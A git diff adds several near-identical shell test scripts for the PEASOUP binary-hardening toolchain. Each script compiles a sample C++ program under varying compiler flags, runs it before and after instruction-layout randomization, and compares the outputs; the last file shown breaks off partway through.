+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cd5a2f7149f1ba75743d456524043b5291a885da
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f552d227cb9acfc38e66fc2d19af9eeb7b3bf615
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9c513848b361943893f2f64f2c32f6d7b707097b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a76f3cd7f2e1f4984e3a55523c185bf80ba98cb8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9dbb134485bc4cef4072539acb5b342340c0109d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a39c3d18c62f1db15d703d6b87826156b9dfd211
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
